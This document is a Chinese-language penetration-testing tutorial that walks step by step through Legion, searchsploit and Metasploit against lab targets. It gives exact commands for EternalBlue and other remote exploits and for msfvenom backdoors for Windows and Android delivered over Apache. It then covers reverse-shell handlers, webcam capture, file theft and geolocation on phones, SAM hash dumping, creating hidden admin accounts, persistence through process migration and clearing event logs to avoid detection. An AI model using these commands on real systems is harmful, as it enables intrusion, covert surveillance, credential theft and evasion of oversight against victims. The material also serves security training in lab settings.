1、Legion漏洞掃描分析工具
Legion是Sparta的一個分支,它是一個開源的、易於使用的、超級可擴展的、半自動的網絡滲透測試框架。它是一款Kali Linux系統默認集成的Python GUI應用程序工具。Legion是一個Nmap、Nikto、Hydra等工具的集合,利用各個工具的優秀功能,完成收集信息、掃描和爆破等任務。
Legion主要包含以下功能:端口掃描,程序自動調用Nmap進行掃描,根據Nmap的掃描結果,nikto自動加載結果,展開更精確的掃描。針對掃描結果,使用特定的工具,比如dirbuster目錄爆破,利用webslayer進行web指紋識別。針對可暴力破解的端口,調用hydra進行暴力破解。下面我們來看下如何使用這款工具:
首先我們先登錄Metasploitable2,通過ifconfig命令獲取其IP地址。然後
打開Legion工具。然後輸入sudo legion啓動工具。
點擊加號。
在這裏輸入你要滲透的ip即可,然後點擊submit按鈕即可。
2、漏洞利用searchsploit
首先,大家先記下一個地址:https://www.exploit-db.com/。它是專門用來收集各種漏洞的網站。在kali系統中,有搜索漏洞數據庫的本地副本,我們可以在終端窗口中輸入命令去搜索。
命令就是searchsploit,它的常用選項如下:
- -c,--case [Term]:執行區分大小寫的搜索,默認搜索對大小寫不敏感。
- -e,--exact [Term]:對exploit標題執行EXACT匹配(默認爲AND)。
- -j,--json [Term]:以JSON格式顯示結果。
- -m,--mirror [EDB-ID]:將一個漏洞利用鏡像副本到當前工作目錄。
- -o,--overflow [Term]: exploit標題被允許溢出其列。
- -p,--path [EDB-ID]:顯示漏洞利用的完整路徑。如果可能, 還將複製路徑到粘貼板。
- -t,--title [Term]:僅僅搜索漏洞標題,默認是標題和文件的路徑。
- -u,--update [Term]:檢查並安裝任何exploit-db軟件包更新。
- -w,--www [Term]:顯示exploit-db.com的URL而不是本地路徑(在線搜索)。
下面我們看下例子:
- searchsploit -t oracle windows:搜索標題中包含oracle windows的漏洞。
- searchsploit -p 3389:搜索漏洞號爲3389的漏洞。
- searchsploit mysql:查找mysql的漏洞。
- searchsploit apple:查找apple的漏洞。
實踐:
- 我們需要在win7上安裝一個easy file sharing的軟件,該軟件是一種允許訪客容易的經由瀏覽器上傳、下載文件的文件分享系統。
- 安裝完成後,我們可以在kali系統中,通過searchsploit easy file sharing命令,來查看該軟件的一些漏洞。
- 然後我們找到/usr/share/exploitdb/exploits/windows/remote/。這個地址下的39009.py文件。
- 由於是python腳本所以我們使用python命令來執行,完整的命令是這樣的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
- 然後回車,就會發現windows7中的計算器打開了。就說明你的腳本入侵成功了。
3、Metasploit簡介
Metasploit被業內譽爲可以黑掉整個宇宙的工具,雖然有些誇張,但是足以見得Metasploit有多強大。Metasploit是目前最流行、 最強大、最具拓展性的滲透測試平臺。2003年由HD摩爾發佈第一版,2007年用ruby語言重寫。後來被Rapid7收購後,分出了多個版本,有付費的,也有免費的。 Metasploit的官網是:https://www.metasploit.com/。
我們可以在Kali系統中找到該軟件:
點擊之後輸入系統root密碼,等待一會後,就變成這樣了:
4、Metasploit:端口掃描
實驗靶機:metasploitable2。
- 使用Nmap進行掃描,nmap xxx.xxx.xxx.xxx。
- 用metasploit模塊進行掃描,search portscan。
- use auxiliary/scanner/portscan/tcp。
- show options,查看需要設置的參數。
- set rhosts xxx.xxx.xxx.xxx。
- 然後輸入命令:run。即可。
5、Metasploit:SMB掃描
實驗靶機:win7。
SMB,全稱是Server Message Block,即服務信息塊,是一個協議名。它能被用於Web鏈接和客戶端與服務器之間的信息溝通。通過掃描SMB,可以識別目標的系統信息。
- search smb。
- use auxiliary/scanner/smb/smb_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
6、Metasploit:服務識別
實驗靶機:linux。
掃描服務器的SSH服務。
- search ssh。
- use auxiliary/scanner/ssh/ssh_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
7、Metasploit:網絡嗅探
獲取FTP密碼。
我們需要一個模擬用戶:win7。需要一個實驗靶機:Windows server 2008(帶有FTP服務)。
- use auxiliary/sniffer/psnuffle,使用嗅探模塊。
- sudo su,如果權限不夠的話,切換用戶。
- 輸入msfconsole,啓動Metasploit。
- 然後再實用模塊,run即可。
8、Metasploit:SNMP掃描與枚舉
SNMP是專門設計用於在IP網絡管理網絡節點(服務器、工作站、路由器、交換機等)的一種標準協議,它是一種應用層協議。各種網絡設備上都可以看到默認啓用的SNMP服務,從交換機到路由器,從防火牆到網絡打印機,無一例外。
本次的實驗靶機:Metasploitable2。
默認情況下,Metasploitable2的SNMP服務僅監聽本地主機。所以我們需要對靶機的默認配置做一下修改。
- cd /etc/default/snmpd。
- 然後通過vim編輯一下,snmpd.pid 後面的ip改成0.0.0.0即可。
- 然後跟之前一樣,搜索snmp相關的模塊:search snmp_login。
- 然後,use auxiliary/scanner/snmp/snmp_login。
- 然後就是set ip。再就是run。完了
- 我們還可以使用auxiliary/scanner/snmp/snmp_enum模塊。這裏就不重複如何使用了。
9、Metasploit:掃描弱密碼主機
實驗靶機:多臺windows。
使用的模塊:auxiliary/scanner/smb/smb_login。
知道ip地址範圍即可,批量掃描。
10、Metasploit:VNC身份識別
VNC(Virtual Network Console)是虛擬網絡控制檯的縮寫。它是一款優秀的遠程控制工具軟件。VNC是在基於UNIX和Linux操作系統的免費的開源軟件,遠程控制能力強大,高效實用,其性能可以和windows和Mac中的任何遠程控制軟件媲美。在Linux中,VNC包括以下四個命令:
- vncserver
- vncviewer
- vncpasswd
- vncconnect
大多數情況,只需要1、2兩個命令即可。
實驗靶機:Metaspolitable2。
- use auxiliary/scanner/vnc/vnc_none_auth。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然後我們試下vnc密碼爆破
- use auxiliary/scanner/vnc/vnc_login。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然後我們有了密碼,試下vnc登錄。
- 打開一個新的終端。
- 然後輸入vncviewer xxx.xxx.xxx.xxx。
- 輸入爆破出來的密碼即可遠程連接上了。
11、Wmap網站漏洞掃描
Wmap本身不是一個獨立的漏洞掃描器,而是作爲Metasploit的一個模塊。結合Web漏洞和Web服務相關的模塊協同工作,完成目標服務器的掃描任務。它的掃描結果不會自動生成報告,而是直接存入Metasploit的數據庫。
- load wmap:加載wmap
- wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一個掃描站點。
- wmap_sites -l:查看已添加的站點。
- wmap_targets -d 0:根據已添加站點的ID,設置帶掃描的目標站點。
- wmap_targets -l:檢查已待掃描的目標主機。
- wmap_run -e:執行測試。
- vulns:掃描完成後,使用Metasploit命令檢查漏洞記錄。
- wmap_vulns -l。
實戰:
- 先在Kali的瀏覽器裏輸入你已開啓的Metasploitable2的虛擬機的ip。不同版本瀏覽器的位置可能會有些區別,但是你一定可以找到的。
- 然後可以看到這樣一個超鏈接。
- 點擊超鏈接,進入一個網站。這就是我們要掃描的網站。
- 然後執行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
- 然後執行:wmap_sites -l。查看一下編號id。
- 然後執行測試:wmap_run -e。
- 等待結束後,可以通過vulns然後wmap_vulns -l命令查看漏洞。
12、Metasploit遠程代碼執行
實驗靶機:Window Server 2008/Windows 7。
- search ms17-010。ms:微軟。17:17年。010:第十個。
- 然後執行:use exploit/windows/smb/ms17_010_eternalblue。
- 設置一下相關的參數:
- set rhosts xxx.xxx.xxx.xxx。
- set payload windows/x64/shell/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx。
- run。
13、Metasploit:利用瀏覽器漏洞遠程執行代碼
實驗靶機:Windows XP。漏洞利用:ms12-004。
- search ms12-004。
- use exploit/windows/browser/ms12_004_midi。
- set srvhost xxx.xxx.xxx.xxx(當前主機ip)。
- set payload windows/x64/shell/reverse_tcp。
- set lport 6666。
- run。
- 然後監聽成功後,會生成一個隨機的地址。在windows上打開這個地址。回到kali的命令行中,可以查看到它的session。
- 然後輸入命令:sessions。
- 然後使用session:sessions -i [session id]。
- 然後就可以進去了。
14、Metasploit:漏洞提權
實驗靶機:windows xp。
前提必須要有一個session會話。
- search ms08-067。
- use exploit/windows/smb/ms08_067_netapi。
- set rhosts xxx.xxx.xxx.xxx。
- set lport 5555。
- run。
- sessions。
- search 14-002。
- use exploit/windows/local/bthpan。
- set session [session id]。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
其他模塊:
- exploit/windows/local/ms13_053_schlamperei
- exploit/windows/local/ms13_081_track_popup_menu
15、Metasploit:生成後門
首先,windows、Linux、java、php、Android等後門都支持。嘿嘿。
1、生成windows後門
命令:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -f exe -o /home/kali(你的home目錄下的用戶目錄)/payload.exe
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目錄下的用戶目錄)/payload.exe
Msfvenom:
- msfvenom --list archs,查看支持的系統架構。
- msfvenom --list platforms,查看支持系統平臺。
- msfvenom -l payload,查看所有可用的payload。
- msfvenom -l formats,查看所有的輸出格式。
- msfvenom -l encrypt,查看所有的加密方式。
- msfvenom -l encoders,查看所有的解碼器。
實踐:
- 先輸入上面的命令中的第一條命令,然後在你的home/XXX目錄下可以看到一個payload.exe文件。
- 然後我們需要啓動apache服務:sudo service apache2 start。
- 然後在windows的虛擬機裏,可以通過瀏覽器訪問kali的ip地址,就會打印出Apache服務。
- 然後我們把生成的exe文件複製到windows中。
- 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令行刪吧)
- cd /var/www/html。
- sudo rm index.nginx-debian.html
- sudo rm index.html
- sudo cp /home/xx(你的用戶名)/payload.exe /var/www/html/
- 然後刷新windows瀏覽器剛纔的地址,就會看到一個文件,然後把它保存到本地的桌面上即可。
- 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令行刪吧)
- 打開Metasploit。(剛纔的payload.exe相當於被控端,我們還需要和主控端結合使用)。設置使用模塊及參數:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)
- set lport 5555
- run
- 然後出現下面的命令行主機名就說明我們成功了:
2、生成Android後門
實驗靶機:Android模擬器。
總體的流程跟windows後門是很類似的,只是使用的模塊有些許的區別。我們需要修改一些配置:
- 把kali系統的網絡連接模式改成橋接模式,因爲安卓模擬器是安在物理主機上的,橋接模式之前講過了這裏不再多說。
- 安裝一個安卓模擬器,不要安裝騰訊手遊助手,那個更偏向遊戲玩耍。安裝個夜神啊啥的都行。注意,是安裝在你的物理機上的。
- 然後輸入:sudo ifconfig。我們會發現,ip地址變化了。
實驗開始:
- msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 R>/home/kali(你的home目錄下的用戶目錄)/payload.apk
- 同樣的開始Apache服務:sudo service apache2 start。
- 然後在你的安卓模擬器的瀏覽器裏,輸入你的kali虛擬機的ip。
- 把你的apk安裝包複製到apache目錄下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
- 刷新下安卓模擬器的目錄。發現有了新的apk文件。
- 跟windows的操作一樣,下載apk,安裝apk。
- 然後,打開Metasploit。
- 使用主控端模塊,跟windows一樣:use exploit/multi/handler。
- set payload android/meterpreter/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
- set lport 5555。
- run
然後你就可以幹你想幹的事了。
3、遠程控制安卓手機,調用攝像頭拍照
- webacm_list,查看有哪些攝像頭。
- webacm_snap,從指定的攝像頭拍攝快照:
- -h:顯示幫助。
- -i:要使用的網絡攝像頭的索引號。
- -p:JPEG圖像文件路徑。默認爲HOME/[隨機亂碼名字].jpeg。
- -q:JPEG圖像質量,默認爲50。
- -v:自動查看JPEG圖像,默認爲“true”。
- webcam_stream:從指定的網絡攝像頭播放視頻流。
- 然後,自己用命令去玩吧。
- 友情提示,鏈接你wifi的安卓手機,都可以這麼玩。所以,不要幹壞事!!!!違法的!!!
4、遠程控制安卓手機,上傳下載文件
我們先來學下文件系統命令:
- cat,讀取並輸出到標準輸出。
- cd,更改目錄。
- checksum,檢索文件的校驗和。
- cp,將源文件複製到目標文件夾。
- dir,列表文件,ls的別名。
- download,從目標系統文件下載。
- eidt,用vim編輯文件。
- getlwd,打印本地目錄。
- getwd,打印工作目錄。
- lcd,更改本地目錄。
- lls,列出本地文件。
- lpwd,打印本地工作目錄。
- ls,列出文件。
- mkdir,創建目錄。
- mv,將源文件移動到目標目錄。
- pwd,輸出工作目錄。
- rm,刪除文件。
- search,搜索文件。
- upload,上傳文件或目錄。
實踐從手機下載文件,上傳文件,大家可以自己嘗試哦:
- cd /
- ls
- cd sdcard
- ls
- cd DCIM
- ls
- cd Camera
- download 1.jpeg
5、遠程控制安卓手機,實現定位
具體的Android命令有很多,這裏就不多說了,大家有興趣可以自己去百度查下。然後實現定位就很簡單了,使用geolocate命令即可。
16、Meterpreter:Windows訪問文件系統
- 首先,把網絡連接模式修改成NAT模式
- 在windows運行之前生成好的exe文件,如果不知道咋回事回頭看下。
- 在kali系統上開啓主控端:use exploit/multi/handler 。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- set lhost xxx.xxx.xxx.xxx(主控端ip)。
- run。
- 跟之前一樣,被控端安裝下exe文件。
- 然後就可以操作windows的系統文件了。相關命令跟之前安卓部分的命令都差不多。這裏就不多說了。
17、Meterpreter:Windows權限提升和獲取憑證
有的時候,你可能會發現自己的Meterpreter會話受到了用戶權限的限制。修改註冊表、安裝後門或導出密碼等活動都需要提升用權限。而Meterpreter給我們提供了一個getsystem命令,可以實現提權。
另外,getuid可以獲取當前的用戶信息,system是系統的最高權限。如果使用system命令仍無法獲取,那麼接下來可以使用之前學過的漏洞提權。
我們來看下漏洞提權的實踐步驟:
- search ms13-053。
- use exploit/windows/local/ms13_053_schlamperei。
- 然後我們需要設置一下session。之前學過的,這裏不說了。
- set session 1。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
提升權限後,可以通過hashdump模塊,從SAM數據庫中導出本地賬號。數據的輸出格式是:
用戶名:SID:LM哈希:NTLM哈希:::
18、Meterpreter:Windows運行程序和屏幕截圖
快速執行命令腳本:每次我們執行的命令內容基本上都是類似的,所以我們可以創建一個文件。
1.然後右鍵選擇用mousepad打開。
2.然後可以把我們常用的命令寫到這個腳本里。內容如下:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.129 set lport 5555
3.然後保存文件。
4.打開Metasploit。輸入這樣的命令:resource /home/(你的用戶名)/windows_control。
5.腳本就運行了。
6.然後直接run。
7.再打開被控端就可以了。
1、運行程序
execute命令可以可以在目標系統中執行應用程序。該命令的使用方法如下:
- execute -f <file> [Options]
- -H,創建一個隱藏進程。
- -a,傳遞給命令的參數。
- -i,跟進程進行交互。
- -m,從內存中執行。
- -t,使用當前僞造的線程令牌運行進程。
- -s,在給定會話中執行進程。
然後哈哈哈哈哈,我們可以試一下這個命令:execute -f calc.exe。打開Windows的計算器。哦吼,好玩吧。
2、屏幕截圖
screenshot命令來進行截圖,並存儲在kali中。
screenshare命令可以進行實時的監控。
19、Meterpreter:Windows創建新賬號和啓用遠程桌面
1、創建新賬號
通過getgui腳本,使用-u和-p參數,並給它分配管理員權限,然後將其添加到遠程桌面用戶組中。
run getgui -u hack -p pass123
注意:如果你的權限不是SYSTEM,需要用之前學過的方法進行提權。提權之後再用上面的命令創建用戶。
2、啓用遠程桌面
如果用戶沒有開啓遠程桌面功能,那麼可以通過:
run getgui -e
來開啓遠程桌面。
在開啓遠程桌面之前,我們還需要使用idletime命令檢查遠程用戶的空閒時常,這樣可以降低你被發現的概率。
然後我們在新的終端執行:rdesktop [你的目標ip:3389]。
然後可能你創建的用戶權限不夠。那麼你可以在Meterpreter中執行shell命令,也就是打開你控制的目標主機的終端,執行下面的命令:
net localgroup administrators hack/add。這裏的hack就是你之前創建的用戶名。
20、Meterpreter:Windows進程綁定和清除事件日誌
1、進程綁定
Meterpreter可以通過與其他進程綁定來實現持久化。
- 使用ps命令查看運行的進程。(當然要通過之前寫好的腳本鏈接主控端和被控端,進入Meterpreter)
- 通過getpid命令,拿到當前你這個hack腳本的進程。
- 然後我們隨便找一個ps列出來的進程綁定吧。使用migrate [pid]命令即可。
- 在查看pid就會變成綁定的那個pid了。
2、清除日誌
可以通過clearev命令來清除日誌。
ps:我們可以通過右鍵計算機-》管理-》事件查看器-》Windows日誌。來查看日誌。